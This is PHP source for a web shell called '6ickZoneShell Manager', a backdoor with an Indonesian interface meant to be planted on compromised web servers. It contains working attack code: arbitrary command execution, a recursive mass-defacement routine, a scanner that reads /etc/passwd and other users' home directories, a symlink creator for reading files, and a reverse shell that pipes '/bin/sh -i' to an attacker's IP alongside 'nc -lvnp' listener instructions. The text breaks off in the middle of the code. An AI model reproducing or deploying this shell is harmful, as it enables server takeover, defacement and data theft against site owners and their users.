/** * 6ickZoneShell Manager by 0x6ick x Nyx6st | Copyright 2025 by 6ickwhispers@gmail.com * --- RE-ORGANIZED MENU VERSION by Nyx6st --- * All features integrated, with new menu layout and network tools. **/error_reporting(0);session_start();@ini_set(&#039;output_buffering&#039;, 0);@ini_set(&#039;display_errors&#039;, 0);ini_set(&#039;memory_limit&#039;, &#039;256M&#039;);header(&#039;Content-Type: text/html; charset=UTF-8&#039;);ob_end_clean();// --- CONFIG ---$title = &quot;ヤミRoot VoidGate&quot;;$author = &quot;0x6ick&quot;;$theme_bg = &quot;#0a0a0f&quot;; // Dark violet-black cyber base$theme_fg = &quot;#E0FF00&quot;; // Neon yellow text$theme_highlight = &quot;#FF00C8&quot;; // Pink cyber glow$theme_link = &quot;#00FFF7&quot;; // Electric cyan$theme_link_hover = &quot;#FF00A0&quot;; // Pink on hover$theme_border_color = &quot;#7D00FF&quot;; // Neon purple border$theme_table_header_bg = &quot;#1a0025&quot;; // Dark purple-ish header$theme_table_row_hover = &quot;#330033&quot;; // Deep glitch violet$theme_input_bg = &quot;#120024&quot;; // Dark form input bg$theme_input_fg = &quot;#00FFB2&quot;; // Neon greenish-cyan input text$font_family = &quot;&#039;Orbitron&#039;, sans-serif&quot;; // Futuristic mecha font$message_success_color = &quot;#39FF14&quot;; // Bright lime green$message_error_color = &quot;#FF0033&quot;; // Neon blood red// --- FUNCTIONS ---function sanitizeFilename($filename) { return basename($filename); }function exe($cmd) { if (function_exists(&#039;exec&#039;)) { exec($cmd . &#039; 2&gt;&amp;1&#039;, $output); return implode(&quot;\n&quot;, $output); } elseif (function_exists(&#039;shell_exec&#039;)) { return shell_exec($cmd); } elseif (function_exists(&#039;passthru&#039;)) { ob_start(); passthru($cmd); return ob_get_clean(); } elseif (function_exists(&#039;system&#039;)) { ob_start(); system($cmd); return ob_get_clean(); } return &quot;Command execution disabled.&quot;; }function perms($file){ $perms = @fileperms($file); if ($perms === false) return &#039;????&#039;; if (($perms &amp; 0xC000) == 0xC000) $info = &#039;s&#039;; elseif (($perms &amp; 0xA000) == 0xA000) $info = &#039;l&#039;; elseif (($perms &amp; 0x8000) == 0x8000) $info = &#039;-&#039;; elseif (($perms &amp; 0x6000) == 0x6000) $info = &#039;b&#039;; elseif (($perms &amp; 0x4000) == 0x4000) $info = &#039;d&#039;; elseif (($perms &amp; 0x2000) == 0x2000) $info = &#039;c&#039;; elseif (($perms &amp; 0x1000) == 0x1000) $info = &#039;p&#039;; else $info = &#039;u&#039;; $info .= (($perms &amp; 0x0100) ? &#039;r&#039; : &#039;-&#039;); $info .= (($perms &amp; 0x0080) ? &#039;w&#039; : &#039;-&#039;); $info .= (($perms &amp; 0x0040) ? (($perms &amp; 0x0800) ? &#039;s&#039; : &#039;x&#039; ) : (($perms &amp; 0x0800) ? &#039;S&#039; : &#039;-&#039;)); $info .= (($perms &amp; 0x0020) ? &#039;r&#039; : &#039;-&#039;); $info .= (($perms &amp; 0x0010) ? &#039;w&#039; : &#039;-&#039;); $info .= (($perms &amp; 0x0008) ? (($perms &amp; 0x0400) ? &#039;s&#039; : &#039;x&#039; ) : (($perms &amp; 0x0400) ? &#039;S&#039; : &#039;-&#039;)); $info .= (($perms &amp; 0x0004) ? &#039;r&#039; : &#039;-&#039;); $info .= (($perms &amp; 0x0002) ? &#039;w&#039; : &#039;-&#039;); $info .= (($perms &amp; 0x0001) ? (($perms &amp; 0x0200) ? &#039;t&#039; : &#039;x&#039; ) : (($perms &amp; 0x0200) ? &#039;T&#039; : &#039;-&#039;)); return $info; }function delete_recursive($target) { if (!file_exists($target)) return true; if (!is_dir($target)) return unlink($target); foreach (scandir($target) as $item) { if ($item == &#039;.&#039; || $item == &#039;..&#039;) continue; if (!delete_recursive($target . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($target); }function zip_add_folder($zip, $folder, $base_path_length) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $file) { if (!$file-&gt;isDir()) { $file_path = $file-&gt;getRealPath(); $relative_path = substr($file_path, $base_path_length); $zip-&gt;addFile($file_path, $relative_path); } } }function redirect_with_message($msg_type = &#039;&#039;, $msg_text = &#039;&#039;, $current_path = &#039;&#039;) { global $path; $redirect_path = !empty($current_path) ? $current_path : $path; $params = [&#039;path&#039; =&gt; $redirect_path]; if ($msg_type) $params[&#039;msg_type&#039;] = $msg_type; if ($msg_text) $params[&#039;msg_text&#039;] = $msg_text; header(&quot;Location: ?&quot; . http_build_query($params)); exit(); }// --- INITIAL SETUP &amp; PATH ---$path = realpath(isset($_GET[&#039;path&#039;]) ? $_GET[&#039;path&#039;] : getcwd());$path = str_replace(&#039;\\&#039;,&#039;/&#039;,$path);// --- HANDLERS FOR ACTIONS THAT REDIRECT ---if(isset($_POST[&#039;start_mass_deface&#039;])) { $mass_deface_results = &#039;&#039;; function mass_deface_recursive($dir, $file, $content, &amp;$res) { if(!is_writable($dir)) {$res .= &quot;[&lt;font color=red&gt;FAILED&lt;/font&gt;] &quot;.htmlspecialchars($dir).&quot;<br>&quot;; return;} foreach(scandir($dir) as $item) { if($item === &#039;.&#039; || $item === &#039;..&#039;) continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if(is_dir($lokasi)) { if(is_writable($lokasi)) { file_put_contents($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= &quot;[&lt;font color=lime&gt;DONE&lt;/font&gt;] &quot;.htmlspecialchars($lokasi.DIRECTORY_SEPARATOR.$file).&quot;<br>&quot;; mass_deface_recursive($lokasi, $file, $content, $res); } else { $res .= &quot;[&lt;font color=red&gt;FAILED&lt;/font&gt;] &quot;.htmlspecialchars($lokasi).&quot;<br>&quot;; } } } } function mass_deface_flat($dir, $file, $content, &amp;$res) { if(!is_writable($dir)) {$res .= &quot;[&lt;font color=red&gt;FAILED&lt;/font&gt;] &quot;.htmlspecialchars($dir).&quot;<br>&quot;; return;} foreach(scandir($dir) as $item) { if($item === &#039;.&#039; || $item === &#039;..&#039;) continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if(is_dir($lokasi) &amp;&amp; is_writable($lokasi)) { file_put_contents($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= &quot;[&lt;font color=lime&gt;DONE&lt;/font&gt;] &quot;.htmlspecialchars($lokasi.DIRECTORY_SEPARATOR.$file).&quot;<br>&quot;; } } } if($_POST[&#039;tipe_sabun&#039;] == &#039;mahal&#039;) mass_deface_recursive($_POST[&#039;d_dir&#039;], $_POST[&#039;d_file&#039;], $_POST[&#039;script_content&#039;], $mass_deface_results); else mass_deface_flat($_POST[&#039;d_dir&#039;], $_POST[&#039;d_file&#039;], $_POST[&#039;script_content&#039;], $mass_deface_results); $_SESSION[&#039;feature_output&#039;] = $mass_deface_results; redirect_with_message(&#039;success&#039;, &#039;Mass Deface Selesai!&#039;, $path); }if(isset($_FILES[&#039;file_upload&#039;])){ $file_name = sanitizeFilename($_FILES[&#039;file_upload&#039;][&#039;name&#039;]); if(copy($_FILES[&#039;file_upload&#039;][&#039;tmp_name&#039;], $path.&#039;/&#039;.$file_name)) redirect_with_message(&#039;success&#039;, &#039;UPLOAD SUCCESS: &#039; . $file_name, $path); else redirect_with_message(&#039;error&#039;, &#039;File Gagal Diupload !!&#039;, $path); }if (isset($_POST[&#039;bulk_action&#039;]) &amp;&amp; class_exists(&#039;ZipArchive&#039;)) { $action = $_POST[&#039;bulk_action&#039;]; $selected_files = isset($_POST[&#039;selected_files&#039;]) ? $_POST[&#039;selected_files&#039;] : []; if ($action === &#039;zip_selected&#039; &amp;&amp; !empty($selected_files)) { $zip_filename = &#039;archive_&#039; . date(&#039;Y-m-d_H-i-s&#039;) . &#039;.zip&#039;; $zip_filepath = $path . DIRECTORY_SEPARATOR . $zip_filename; $zip = new ZipArchive(); if ($zip-&gt;open($zip_filepath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($selected_files as $file) { $file_path = realpath($file); if (is_file($file_path)) $zip-&gt;addFile($file_path, basename($file_path)); elseif (is_dir($file_path)) zip_add_folder($zip, $file_path, strlen(dirname($file_path) . DIRECTORY_SEPARATOR)); } $zip-&gt;close(); redirect_with_message(&#039;success&#039;, &#039;File berhasil di-zip ke: &#039; . $zip_filename, $path); } else { redirect_with_message(&#039;error&#039;, &#039;Gagal membuat file zip!&#039;, $path); } } }if(isset($_GET[&#039;option&#039;]) &amp;&amp; isset($_POST[&#039;opt_action&#039;])){ $target_full_path = $_POST[&#039;path_target&#039;]; $action = $_POST[&#039;opt_action&#039;]; $current_dir = realpath(isset($_GET[&#039;path&#039;]) ? $_GET[&#039;path&#039;] : getcwd()); switch ($action) { case &#039;delete&#039;: if (delete_recursive($target_full_path)) redirect_with_message(&#039;success&#039;, &#039;DELETE SUCCESS !!&#039;, $current_dir); else redirect_with_message(&#039;error&#039;, &#039;Gagal menghapus! Periksa izin.&#039;, $current_dir); break; case &#039;chmod_save&#039;: if(chmod($target_full_path, octdec($_POST[&#039;perm_value&#039;]))) redirect_with_message(&#039;success&#039;, &#039;CHMOD SUCCESS !!&#039;, $current_dir); else redirect_with_message(&#039;error&#039;, &#039;CHMOD Gagal !!&#039;, $current_dir); break; case &#039;rename_save&#039;: $new_full_path = dirname($target_full_path).&#039;/&#039;.sanitizeFilename($_POST[&#039;new_name_value&#039;]); if(rename($target_full_path, $new_full_path)) redirect_with_message(&#039;success&#039;, &#039;RENAME SUCCESS !!&#039;, $current_dir); else redirect_with_message(&#039;error&#039;, &#039;RENAME Gagal !!&#039;, $current_dir); break; case &#039;edit_save&#039;: if(is_writable($target_full_path)) { if(file_put_contents($target_full_path, $_POST[&#039;src_content&#039;])) redirect_with_message(&#039;success&#039;, &#039;EDIT SUCCESS !!&#039;, $current_dir); else redirect_with_message(&#039;error&#039;, &#039;Edit File Gagal !!&#039;, $current_dir); } else { redirect_with_message(&#039;error&#039;, &#039;File tidak writable!&#039;, $current_dir); } break; case &#039;extract_save&#039;: if (class_exists(&#039;ZipArchive&#039;)) { $zip = new ZipArchive; if ($zip-&gt;open($target_full_path) === TRUE) { $zip-&gt;extractTo($current_dir); $zip-&gt;close(); redirect_with_message(&#039;success&#039;, &#039;File berhasil diekstrak!&#039;, $current_dir); } else { redirect_with_message(&#039;error&#039;, &#039;Gagal membuka file zip!&#039;, $current_dir); } } else { redirect_with_message(&#039;error&#039;, &#039;Class ZipArchive tidak ditemukan!&#039;, $current_dir); } break; } }if(isset($_GET[&#039;create_new&#039;])) { $target_path_new = $path . &#039;/&#039; . sanitizeFilename($_POST[&#039;create_name&#039;]); if ($_POST[&#039;create_type&#039;] == &#039;file&#039;) { if (@file_put_contents($target_path_new, &#039;&#039;) !== false) redirect_with_message(&#039;success&#039;, &#039;File Baru Berhasil Dibuat&#039;, $path); else redirect_with_message(&#039;error&#039;, &#039;Gagal membuat file baru!&#039;, $path); } elseif ($_POST[&#039;create_type&#039;] == &#039;dir&#039;) { if (@mkdir($target_path_new)) redirect_with_message(&#039;success&#039;, &#039;Folder Baru Berhasil Dibuat&#039;, $path); else redirect_with_message(&#039;error&#039;, &#039;Gagal membuat folder baru!&#039;, $path); } }if(isset($_POST[&#039;curl_download&#039;])) { $url = $_POST[&#039;url&#039;]; $filename = sanitizeFilename(basename($url)); if (empty($filename)) { $filename = &#039;downloaded_file&#039;; } if (copy($url, $path . &#039;/&#039; . $filename)) { redirect_with_message(&#039;success&#039;, &#039;File &#039; . $filename . &#039; berhasil di-download!&#039;, $path); } else { redirect_with_message(&#039;error&#039;, &#039;Gagal men-download file dari URL!&#039;, $path); } }&lt;!DOCTYPE HTML&gt;<html><head>&lt;link href=&quot;https://fonts.googleapis.com/css?family=Kelly+Slab&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt;&lt;link href=&quot;https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;/&gt;<title>&lt;?php echo htmlspecialchars($title); ?&gt;</title>&lt;title&gt; echo htmlspecialchars($title); &lt;/title&gt;&lt;style&gt;body{font-family:&#039;Orbitron&#039;,sans-serif;background-color: echo $theme_bg;;color: echo $theme_fg;;margin:0;padding:0;} a{font-size:1em;color: echo $theme_link;;text-decoration:none;} a:hover{color: echo $theme_link_hover;;} table{border-collapse:collapse;width:95%;max-width:1200px;margin:15px auto;} .td_home{border:2px solid  echo $theme_table_row_hover;;padding:7px;vertical-align:middle;} #content tr:hover{background-color: echo $theme_table_row_hover;;} #content .first{background-color: echo $theme_table_header_bg;;font-weight:bold;padding:10px;} input,select,textarea{border:1px solid  echo $theme_link_hover;;border-radius:5px;background: echo $theme_input_bg;;color: echo $theme_input_fg;;font-family:&#039;Kelly Slab&#039;,cursive;padding:5px;box-sizing:border-box;} input[type=&quot;submit&quot;]{background: echo $theme_input_bg;;color: echo $theme_fg;;border:2px solid  echo $theme_fg;;cursor:pointer;font-weight:bold;} input[type=&quot;submit&quot;]:hover{background: echo $theme_fg;;color: echo $theme_input_bg;;} h1,h3{font-family:&#039;Kelly Slab&#039;;text-align:center;} h1{font-size:35px;color:white;margin:20px 0 10px;} h3{color: echo $theme_highlight;} .path-nav{margin:10px auto;width:95%;max-width:1200px;text-align:left;word-wrap:break-word;} .message{padding:10px;margin:10px auto;border-radius:5px;width:95%;max-width:1200px;font-weight:bold;text-align:center;} .message.success{background-color: echo $message_success_color;;color: echo $theme_bg;;} .message.error{background-color: echo $message_error_color;;color:white;} .section-box{background-color:#1a1a1a;border:1px solid  echo $theme_border_color;;padding:15px;margin:20px auto;border-radius:8px;width:95%;max-width:1200px;} .main-menu{margin:20px auto;width:95%;max-width:1200px;text-align:center;padding:10px 0;border-top:1px solid  echo $theme_border_color;;border-bottom:1px solid  echo $theme_border_color;;} .main-menu div { margin-bottom: 5px; } .main-menu a{margin:0 8px;font-size:1.1em;white-space:nowrap;} pre{background-color:#0e0e0e;border:1px solid #444;padding:10px;overflow-x:auto;white-space:pre-wrap;word-wrap:break-word;color:#00FFD1;} code{background:#333;color:#FFB800;padding:2px 5px;border-radius:3px;} details summary {cursor:pointer; background:#222; padding:5px; border-radius:3px; margin-bottom: 5px;}&lt;/style&gt;</head><body>&lt;a href=&quot;?&quot;&gt;&lt;h1 style=&quot;color: white;&quot;&gt; echo htmlspecialchars($title); </h1>&lt;/a&gt;if(isset($_GET[&#039;msg_text&#039;])) { echo &quot;&lt;div class=&#039;message &quot;.htmlspecialchars($_GET[&#039;msg_type&#039;]).&quot;&#039;&gt;&quot;.htmlspecialchars($_GET[&#039;msg_text&#039;]).&quot;&lt;/div&gt;&quot;; }if(isset($_SESSION[&#039;feature_output&#039;])) { echo &#039;&lt;div class=&quot;section-box&quot;&gt;<h3>Hasil Fitur Sebelumnya:</h3>&lt;pre&gt;&#039;.$_SESSION[&#039;feature_output&#039;].&#039;&lt;/pre&gt;&lt;/div&gt;&#039;; unset($_SESSION[&#039;feature_output&#039;]); }&lt;table class=&quot;system-info-table&quot; width=&quot;95%&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; align=&quot;left&quot;&gt;<tr><td>&lt;font color=&#039;white&#039;&gt;&lt;i class=&#039;fa fa-user&#039;&gt;&lt;/i&gt; User / IP &lt;/font&gt;<td>: &lt;font color=&#039; echo $theme_fg; &#039;&gt; echo $_SERVER[&#039;REMOTE_ADDR&#039;]; &lt;/font&gt;<tr><td>&lt;font color=&#039;white&#039;&gt;&lt;i class=&#039;fa fa-desktop&#039;&gt;&lt;/i&gt; Host / Server &lt;/font&gt;<td>: &lt;font color=&#039; echo $theme_fg; &#039;&gt; echo gethostbyname($_SERVER[&#039;HTTP_HOST&#039;]).&quot; / &quot;.$_SERVER[&#039;SERVER_NAME&#039;]; &lt;/font&gt;<tr><td>&lt;font color=&#039;white&#039;&gt;&lt;i class=&#039;fa fa-hdd-o&#039;&gt;&lt;/i&gt; System &lt;/font&gt;<td>: &lt;font color=&#039; echo $theme_fg; &#039;&gt; echo Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64; &lt;/font&gt;</tr></td></table>&lt;div class=&quot;main-menu&quot;&gt;    &lt;div&gt;        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=cmd&quot;&gt;Command&lt;/a&gt; |        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=upload_form&quot;&gt;Upload&lt;/a&gt; |        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=create_form&quot;&gt;Create&lt;/a&gt;    &lt;/div&gt;    &lt;div&gt;        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=mass_deface_form&quot;&gt;Mass Deface&lt;/a&gt; |        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=jumping&quot;&gt;Jumping&lt;/a&gt; |        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=symlink&quot;&gt;Symlink&lt;/a&gt; |        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=reverse_shell&quot;&gt;Reverse Shell&lt;/a&gt;    &lt;/div&gt;    &lt;div&gt;        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=ping&quot;&gt;Ping&lt;/a&gt; |        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=portscan&quot;&gt;Port Scan&lt;/a&gt; |        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=dnslookup&quot;&gt;DNS Lookup&lt;/a&gt; |        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=whois&quot;&gt;Whois&lt;/a&gt; |        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=header&quot;&gt;Header&lt;/a&gt; |        &lt;a href=&quot;?path= echo urlencode($path); &amp;action=curl&quot;&gt;cURL&lt;/a&gt;    &lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;path-nav&quot;&gt;    &lt;i class=&quot;fa fa-folder-o&quot;&gt;&lt;/i&gt; :        $paths_array = explode(&#039;/&#039;, trim($path, &#039;/&#039;));    echo &#039;&lt;a href=&quot;?path=/&quot;&gt;/&lt;/a&gt;&#039;;    $current_built_path = &#039;&#039;;    foreach($paths_array as $pat){        if(empty($pat)) continue;        $current_built_path .= &#039;/&#039; . $pat;        echo &#039;&lt;a href=&quot;?path=&#039;.urlencode($current_built_path).&#039;&quot;&gt;&#039;.htmlspecialchars($pat).&#039;&lt;/a&gt;/&#039;;    }    &lt;/div&gt;$show_file_list = true;if (isset($_GET[&#039;action&#039;])) {    $show_file_list = false;    echo &#039;&lt;div class=&quot;section-box&quot;&gt;&#039;;    switch ($_GET[&#039;action&#039;]) {        // --- BASIC ACTIONS ---        case &#039;cmd&#039;: $cmd_output = (isset($_POST[&#039;do_cmd&#039;])) ? htmlspecialchars(exe($_POST[&#039;cmd_input&#039;])) : &#039;&#039;; echo &#039;<h3>Execute Command</h3><form><input type=text><input type=submit>&gt;&quot; style=&quot;width: 70px;&quot;&gt;</form>&#039;; if($cmd_output) echo &#039;&lt;h4&gt;Output:&lt;/h4&gt;&lt;pre&gt;&#039;.$cmd_output.&#039;&lt;/pre&gt;&#039;; break;        case &#039;upload_form&#039;: echo &#039;<h3>Upload File</h3><form><input type=file><input type=submit></form>&#039;; break;        case &#039;create_form&#039;: echo &#039;<h3>Create New</h3><form>&lt;select name=&quot;create_type&quot;&gt;&lt;option value=&quot;file&quot;&gt;File&lt;/option&gt;&lt;option value=&quot;dir&quot;&gt;Folder&lt;/option&gt;&lt;/select&gt; <input type=text> <input type=submit></form>&#039;; break;        // --- HACKING TOOLS ---        case &#039;mass_deface_form&#039;: echo &#039;<h3>Mass Deface</h3><form>&lt;p&gt;Tipe:<br><input type=radio>Biasa (1 level) | <input type=radio>Massal (Rekursif)&lt;/p&gt;&lt;p&gt;Folder Target:<br><input type=text>&lt;/p&gt;&lt;p&gt;Nama File:<br><input type=text>&lt;/p&gt;&lt;p&gt;Isi Script:<br>&lt;textarea name=&quot;script_content&quot; style=&quot;width:100%;height:150px&quot;&gt;Hacked By 0x6ick&lt;/textarea&gt;&lt;/p&gt;<input type=submit></form>&#039;; break;        case &#039;jumping&#039;: echo &#039;<h3>&lt;i class=&quot;fa fa-users&quot;&gt;&lt;/i&gt; Jumping (User Scanner)</h3>&lt;p&gt;Membaca &lt;code&gt;/etc/passwd&lt;/code&gt; untuk menemukan semua user di server dan memeriksa akses direktori home.&lt;/p&gt;&#039;; if (is_readable(&#039;/etc/passwd&#039;)) { preg_match_all(&#039;/(^[a-zA-Z0-9\._-]+):x:/m&#039;, file_get_contents(&#039;/etc/passwd&#039;), $matches); if(!empty($matches[1])){ echo &#039;<table>&lt;tr class=&quot;first&quot;&gt;&lt;th&gt;Username&lt;/th&gt;&lt;th&gt;Home Directory&lt;/th&gt;&lt;th&gt;Status&lt;/th&gt;&lt;th&gt;Aksi&lt;/th&gt;</tr>&#039;; foreach ($matches[1] as $user) { $home_dir = &#039;/home/&#039; . $user; if (is_readable($home_dir)) { $status = &#039;&lt;font color=&quot;lime&quot;&gt;Bisa Dibaca&lt;/font&gt;&#039;; $action = &#039;&lt;a href=&quot;?path=&#039;.urlencode($home_dir).&#039;&quot;&gt;Jelajahi&lt;/a&gt;&#039;; } else { $status = &#039;&lt;font color=&quot;red&quot;&gt;Tidak Bisa Dibaca&lt;/font&gt;&#039;; $action = &#039;-&#039;; } echo &#039;<tr>&lt;td class=&quot;td_home&quot;&gt;&#039;.htmlspecialchars($user).&#039;</td>&lt;td class=&quot;td_home&quot;&gt;&#039;.htmlspecialchars($home_dir).&#039;</td>&lt;td class=&quot;td_home&quot;&gt;&#039;.$status.&#039;</td>&lt;td class=&quot;td_home&quot;&gt;&#039;.$action.&#039;</td></tr>&#039;; } echo &#039;</table>&#039;; } } else { echo &#039;&lt;p style=&quot;color:red;&quot;&gt;&lt;strong&gt;Gagal:&lt;/strong&gt; File &lt;code&gt;/etc/passwd&lt;/code&gt; tidak bisa dibaca.&lt;/p&gt;&#039;; } break;        case &#039;symlink&#039;: echo &#039;<h3>&lt;i class=&quot;fa fa-link&quot;&gt;&lt;/i&gt; Symlink Creator</h3>&#039;; if (!function_exists(&#039;symlink&#039;)) { echo &#039;&lt;p style=&quot;color:red;&quot;&gt;&lt;strong&gt;Gagal:&lt;/strong&gt; Fungsi &lt;code&gt;symlink()&lt;/code&gt; dinonaktifkan di server ini.&lt;/p&gt;&#039;; } else { if (isset($_POST[&#039;create_symlink&#039;])) { if (symlink($_POST[&#039;target_file&#039;], $path . DIRECTORY_SEPARATOR . sanitizeFilename($_POST[&#039;link_name&#039;]))) { echo &#039;&lt;p style=&quot;color:lime;&quot;&gt;&lt;strong&gt;Sukses!&lt;/strong&gt; Symlink dibuat. Akses di: &lt;a href=&quot;&#039;.htmlspecialchars(sanitizeFilename($_POST[&#039;link_name&#039;])).&#039;&quot; target=&quot;_blank&quot;&gt;&#039;.htmlspecialchars($path . DIRECTORY_SEPARATOR . sanitizeFilename($_POST[&#039;link_name&#039;])).&#039;&lt;/a&gt;&lt;/p&gt;&#039;; } else { echo &#039;&lt;p style=&quot;color:red;&quot;&gt;&lt;strong&gt;Gagal!&lt;/strong&gt; Tidak bisa membuat symlink.&lt;/p&gt;&#039;; } } echo &#039;<form>&lt;p&gt;Target File (Full Path):<br><input type=text>&lt;/p&gt;&lt;p&gt;Nama Link (di direktori ini):<br><input type=text>&lt;/p&gt;<input type=submit></form>&#039;; } break;        case &#039;reverse_shell&#039;: echo &#039;<h3>&lt;i class=&quot;fa fa-terminal&quot;&gt;&lt;/i&gt; Reverse Shell</h3>&#039;; if (!function_exists(&#039;fsockopen&#039;) || !function_exists(&#039;proc_open&#039;)) { echo &#039;&lt;p style=&quot;color:red;&quot;&gt;&lt;strong&gt;Gagal:&lt;/strong&gt; Fungsi &lt;code&gt;fsockopen()&lt;/code&gt; atau &lt;code&gt;proc_open()&lt;/code&gt; dinonaktifkan.&lt;/p&gt;&#039;; } else { $ip_attacker = isset($_POST[&#039;ip_attacker&#039;]) ? htmlspecialchars($_POST[&#039;ip_attacker&#039;]) : $_SERVER[&#039;REMOTE_ADDR&#039;]; $port_attacker = isset($_POST[&#039;port_attacker&#039;]) ? htmlspecialchars($_POST[&#039;port_attacker&#039;]) : &#039;4444&#039;; echo &#039;&lt;div style=&quot;background:#222;border:1px solid #444;padding:10px;margin-bottom:15px;border-radius:5px;&quot;&gt;&lt;h4&gt;&lt;i class=&quot;fa fa-info-circle&quot;&gt;&lt;/i&gt; Cara Pakai:&lt;/h4&gt;&lt;ol&gt;&lt;li&gt;Di terminalmu, jalankan listener: &lt;code&gt;nc -lvnp &#039;.$port_attacker.&#039;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Masukkan &lt;strong&gt;IP Publik&lt;/strong&gt; komputermu di bawah.&lt;/li&gt;&lt;li&gt;Klik &quot;GASKEUN!&quot;. Halaman browser ini mungkin akan terus loading (normal).&lt;/li&gt;&lt;li&gt;Cek terminalmu, shell server akan muncul jika berhasil.&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&#039;; echo &#039;<form>&lt;label&gt;IP Attacker: <input type=text>&lt;/label&gt; &lt;label&gt;Port: <input type=text>&lt;/label&gt; <input type=submit></form>&#039;; if (isset($_POST[&#039;start_reverse_shell&#039;])) { echo &quot;&lt;h4&gt;Mencoba koneksi ke &quot;.htmlspecialchars($_POST[&#039;ip_attacker&#039;]).&quot;:&quot;.htmlspecialchars($_POST[&#039;port_attacker&#039;]).&quot; ...&lt;/h4&gt;&quot;; if(ob_get_level()) ob_end_flush(); flush(); set_time_limit(0); ignore_user_abort(true); $sock = @fsockopen($_POST[&#039;ip_attacker&#039;], (int)$_POST[&#039;port_attacker&#039;], $errno, $errstr, 30); if (!$sock) { echo &#039;&lt;p style=&quot;color:red;&quot;&gt;&lt;strong&gt;Koneksi Gagal!&lt;/strong&gt; Pastikan listener sudah berjalan.&lt;/p&gt;&#039;; } else { echo &#039;&lt;p style=&quot;color:lime;&quot;&gt;&lt;strong&gt;Koneksi Berhasil!&lt;/strong&gt; Cek terminalmu sekarang!&lt;/p&gt;&#039;; if(ob_get_level()) ob_end_flush(); flush(); $process = proc_open(&#039;/bin/sh -i&#039;, array(0=&gt;$sock, 1=&gt;$sock, 2=&gt;$sock), $pipes); if (is_resource($process)) proc_close($process); } } } break;        // --- NETWORK TOOLS ---        case &#039;ping&#039;: $ping_output = (isset($_POST[&#039;do_ping&#039;])) ? htmlspecialchars(exe(&quot;ping -c 4 &quot;.escapeshellarg($_POST[&#039;target_host&#039;]))) : &#039;&#039;; echo &#039;<h3>Ping</h3><form><input type=text><input type=submit></form>&#039;; if($ping_output) echo &#039;&lt;h4&gt;Output:&lt;/h4&gt;&lt;pre&gt;&#039;.$ping_output.&#039;&lt;/pre&gt;&#039;; break;        case &#039;portscan&#039;: $scan_output = (isset($_POST[&#039;do_scan&#039;])) ? htmlspecialchars(exe(&quot;nmap -p &quot;.escapeshellarg($_POST[&#039;ports&#039;]).&quot; &quot;.escapeshellarg($_POST[&#039;target_host&#039;]))) : &#039;&#039;; echo &#039;<h3>Port Scan (nmap)</h3><form>&lt;p&gt;Host: <input type=text>&lt;/p&gt;&lt;p&gt;Ports: <input type=text>&lt;/p&gt;<input type=submit></form>&#039;; if($scan_output) echo &#039;&lt;h4&gt;Output:&lt;/h4&gt;&lt;pre&gt;&#039;.$scan_output.&#039;&lt;/pre&gt;&#039;; break;        case &#039;dnslookup&#039;: $dns_output = (isset($_POST[&#039;do_lookup&#039;])) ? htmlspecialchars(exe(&quot;dig &quot;.escapeshellarg($_POST[&#039;target_domain&#039;]).&quot; &quot;.escapeshellarg($_POST[&#039;record_type&#039;]))) : &#039;&#039;; echo &#039;<h3>DNS Lookup (dig)</h3><form>&lt;p&gt;Domain: <input type=text>&lt;/p&gt;&lt;p&gt;Record Type: &lt;select name=&quot;record_type&quot;&gt;&lt;option&gt;A&lt;/option&gt;&lt;option&gt;MX&lt;/option&gt;&lt;option&gt;NS&lt;/option&gt;&lt;option&gt;TXT&lt;/option&gt;&lt;option&gt;ANY&lt;/option&gt;&lt;/select&gt;&lt;/p&gt;<input type=submit></form>&#039;; if($dns_output) echo &#039;&lt;h4&gt;Output:&lt;/h4&gt;&lt;pre&gt;&#039;.$dns_output.&#039;&lt;/pre&gt;&#039;; break;        case &#039;whois&#039;: $whois_output = (isset($_POST[&#039;do_whois&#039;])) ? htmlspecialchars(exe(&quot;whois &quot;.escapeshellarg($_POST[&#039;target_domain&#039;]))) : &#039;&#039;; echo &#039;<h3>Whois Lookup</h3><form><input type=text><input type=submit></form>&#039;; if($whois_output) echo &#039;&lt;h4&gt;Output:&lt;/h4&gt;&lt;pre&gt;&#039;.$whois_output.&#039;&lt;/pre&gt;&#039;; break;        case &#039;header&#039;: $header_output = &#039;&#039;; if (isset($_POST[&#039;get_header&#039;])) { $url = $_POST[&#039;target_url&#039;]; if(filter_var($url, FILTER_VALIDATE_URL)) { $headers = get_headers($url, 1); $header_output = htmlspecialchars(print_r($headers, true)); } else { $header_output = &#039;URL tidak valid.&#039;; } } echo &#039;<h3>HTTP Header Viewer</h3><form><input type=text><input type=submit></form>&#039;; if($header_output) echo &#039;&lt;h4&gt;Output:&lt;/h4&gt;&lt;pre&gt;&#039;.$header_output.&#039;&lt;/pre&gt;&#039;; break;        case &#039;curl&#039;: echo &#039;<h3>cURL Downloader</h3><form>&lt;p&gt;URL File:<br><input type=text>&lt;/p&gt;<input type=submit></form>&#039;; break;        // --- FILE MANAGER ACTIONS ---        case &#039;delete&#039;: echo &#039;<h3>Konfirmasi Hapus: 